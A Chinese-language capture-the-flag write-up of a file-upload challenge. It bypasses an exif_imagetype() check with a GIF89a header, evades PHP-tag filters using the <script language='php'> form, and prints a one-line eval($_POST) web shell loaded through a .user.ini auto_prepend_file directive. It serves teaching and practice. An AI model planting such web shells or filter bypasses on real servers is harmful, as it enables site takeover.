一看是文件上传题目,很自信,之前做过upload专题,基本上就那么几种考点。
上传一个1.php试水,果然不行。
那就看看将小马写在1.jpg文本文件中,用burp改包行不行,结果被检查出来了。
嗯…应该是会检测文件属性吧,直接把小马写进txt然后该后缀名是不行了。
知识盲区
exif_imagetype:not image! ,是用了 exif_imagetype() 函数对文件格式进行了检查
exif_imagetype() 读取一个图像的第一个字节并检查其签名。
就只能用图片马了。但是图片马需要结合文件包含漏洞才可以用,或者用htaccess设置才可以解析图片中的小马。不管怎么样,至少得把马子传上去,接下来就传图片马。
过滤还挺狠的,图片中的马子都能检查。
知识盲区
php文件常用标记
<?php ?>
<?php
<% %>
<? ?>
<script language="php"> </script>
修改文件内容<script language="php"> @eval($_POST['chopper']);</script>
到此上传成功,接下来的任务就是让服务器解析文件中的内容。这里用到了 .user.ini
知识盲区
我们都知道php.ini是php的配置信息,其实也可以用.user.ini,它实际上就是一个可以由用户“自定义”的php.ini。
当一个php文件被解析时,如果此目录下有.user.ini文件,就会按照这个文件的配置来执行。
我们就可以在.user.ini中让php文件解析前先把图片马包含进去。auto_prepend_file=a.jpg
为了让他能够绕过图片类型检测,可以在前面加上gif的文件头GIF89a
也就是
GIF89a
auto_prepend_file=a.jpg
其实这里图片马也不一定就是加到图片里,也可以只加文件头
GIF89a
<script language="php">eval($_POST['chopper']);</script>
接下来访问那个上传到的文件的位置的index.php就可以了,或者用菜刀链接,在根目录下有flag。